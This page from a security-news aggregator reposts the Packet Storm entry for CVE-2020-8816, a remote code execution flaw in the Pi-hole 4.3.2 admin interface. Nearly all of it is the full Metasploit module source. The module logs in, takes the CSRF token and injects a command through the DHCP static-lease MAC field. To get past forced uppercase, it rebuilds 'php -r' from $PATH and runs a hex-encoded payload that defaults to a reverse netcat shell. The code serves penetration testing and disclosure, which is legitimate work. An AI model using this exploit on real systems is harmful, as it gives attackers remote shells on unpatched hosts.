Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2020-8816: Pi-Hole 4.3.2 DHCP MAC OS Command Execution ≈ Packet Storm

Pi-hole Web v4.3.2 (aka AdminLTE) allows Remote Code Execution by privileged dashboard users via a crafted DHCP static lease.

CVE
#vulnerability#web#mac#git#wordpress#php#rce#auth#ruby
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = GoodRanking  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Pi-Hole DHCP MAC OS Command Execution',        'Description' => %q{          This exploits a command execution in Pi-Hole <= 4.3.2.  A new DHCP static lease is added          with a MAC address which includes an RCE.  Exploitation requires /opt/pihole to be first          in the $PATH due to exploitation constraints.  DHCP server is not required to be running.        },        'License' => MSF_LICENSE,        'Author' =>          [            'h00die', # msf module            'nateksec' # original PoC, discovery          ],        'References' =>          [            ['URL', 'https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/'],            ['CVE', '2020-8816']          ],        'Platform' => ['unix'],        'Privileged' => false,        'Arch' => ARCH_CMD,        'Targets' =>          [            [ 'Automatic Target', {}]          ],        'DisclosureDate' => 'Mar 28 2020',        'DefaultTarget' => 0,        'DefaultOptions' => {          'PAYLOAD' => 'cmd/unix/reverse_netcat'        },        'Payload' => {          'BadChars' => "\x00"        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION]        }      )    )    register_options(      [        Opt::RPORT(80),        OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']),        OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])      ]    )  end  def check    begin      res = send_request_cgi(        'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),        'method' => 'GET'      )      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?      fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200      # vDev (HEAD, v4.3-0-g44aff72)      # v4.3      %r{<b>Web Interface Version\s*</b>\s*(vDev \(HEAD, )?v?(?<version>[\d\.]+)\)?.*<b>}m =~ res.body      if version && Gem::Version.new(version) <= Gem::Version.new('4.3.2')        vprint_good("Version Detected: #{version}")        return CheckCode::Appears      else        vprint_bad("Version Detected: #{version}")        return CheckCode::Safe      end    rescue ::Rex::ConnectionError      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")    end    CheckCode::Safe  end  def login(cookie)    vprint_status('Login required, attempting login.')    send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),      'cookie' => cookie,      'vars_get' => {        'tab' => 'piholedhcp'      },      'vars_post' => {        'pw' => datastore['PASSWORD']      },      'method' => 'POST'    )  end  def add_static(payload, cookie, token)    # we don't use vars_post due to the need to have duplicate fields    send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),      'ctype' => 'application/x-www-form-urlencoded',      'cookie' => cookie,      'method' => 'POST',      'vars_get' => {        'tab' => 'piholedhcp'      },      'data' => [        'AddMAC=',        'AddIP=',        'AddHostname=',        "AddMAC=#{URI.encode_www_form_component(payload)}",        "AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", #to_i to remove leading 0s        "AddHostname=#{rand_text_alphanumeric(8..12)}",        'addstatic=',        'field=DHCP',        "token=#{URI.encode_www_form_component(token)}"      ].join('&')    )  end  def exploit    if check != CheckCode::Appears      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')    end    begin      @macs = []      # get cookie      res = send_request_cgi(        'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')      )      cookie = res.get_cookies      print_status("Using cookie: #{cookie}")      # get token      res = send_request_cgi(        'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),        'cookie' => cookie,        'vars_get' => {          'tab' => 'piholedhcp'        }      )      # check if we got hit by a login prompt      if res && res.body.include?('Sign in to start your session')        res = login(cookie)      end      if res && res.body.include?('Sign in to start your session')        fail_with(Failure::BadConfig, 'Incorrect Password')      end      # <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">      # may also include /      %r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body      unless token        fail_with(Failure::UnexpectedReply, 'Unable to find token')      end      print_status("Using token: #{token}")      # from the excellent writeup about the vuln:      # The biggest difficulty in exploiting this vulnerability is that the user input is      # capitalized through a call to "strtoupper". Because of this, no lower case character      # can be used in the resulting injection.      # we'd like to execute something similar to this:      # aaaaaaaaaaaa&&php -r 'PAYLOAD'      # however, we need to pull p, h, and r from the system due to all input getting capitalized      # this is performed by pulling them from the $PATH which should be something like      # /opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin      # first payload we send is to check that this is in the path to verify exploitation is possible      mac = rand_text_hex(12).upcase      @macs << mac      vprint_status("Validating path with MAC: #{mac}")      res = add_static("#{mac}$PATH", cookie, token)      # ruby regex w/ interpolate and named assignments needs to be in .match instead of =~      env = res.body.match(/value="#{mac}(?<env>.*)">/)      if env && env[:env].starts_with?('/opt/pihole')        print_good("System env path exploitable: #{env[:env]}")      else        msg = '/opt/pihole not in path. Exploitation not possible.'        if env          msg += " Path: #{env[:env]}"        end        fail_with(Failure::UnexpectedReply, msg)      end      # once we have php -r, we then need to pass a payload.  So we do this via php command      # exec on hex2bin since our payload in hex caps will still get processed and executed.      mac = rand_text_hex(12).upcase      @macs << mac      print_status("Payload MAC will be: #{mac}")      shellcode = "#{mac}&&" # mac address, arbitrary      shellcode << 'W=${PATH#/???/}&&'      shellcode << 'P=${W%%?????:*}&&'      shellcode << 'X=${PATH#/???/??}&&'      shellcode << 'H=${X%%???:*}&&'      shellcode << 'Z=${PATH#*:/??}&&'      shellcode << 'R=${Z%%/*}&&$'      shellcode << "P$H$P$IFS-$R$IFS'EXEC(HEX2BIN(" # php -r exec(hex2bin(      shellcode << '"'      shellcode << payload.encoded.unpack('H*').join('') # hex encode payload      shellcode << '"));'      shellcode << "'&&"      vprint_status("Shellcode: #{shellcode}")      print_status('Sending Exploit')      add_static(shellcode, cookie, token)      # we don't use vars_post due to the need to have duplicate fields      ip = '192.168'      2.times {ip="#{ip}.#{rand_text_numeric(1..2).to_i}"} #to_i removes leading zeroes      send_request_cgi(        'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),        'ctype' => 'application/x-www-form-urlencoded',        'cookie' => cookie,        'method' => 'POST',        'vars_get' => {          'tab' => 'piholedhcp'        },        'data' => [          'AddMAC=',          'AddIP=',          'AddHostname=',          "AddMAC=#{URI.encode_www_form_component(shellcode)}",          "AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", #to_i to remove leading 0s          "AddHostname=#{rand_text_alphanumeric(3..8)}",          'addstatic=',          'field=DHCP',          "token=#{URI.encode_www_form_component(token)}"        ].join('&')      )    # entries are written to /etc/dnsmasq.d/04-pihole-static-dhcp.conf    rescue ::Rex::ConnectionError      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")    end  end  def on_new_session(session)    super    @macs.each do |mac|      print_status("Attempting to clean #{mac} from config")      session.shell_command_token("sudo pihole -a removestaticdhcp #{mac}")    end  endend

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907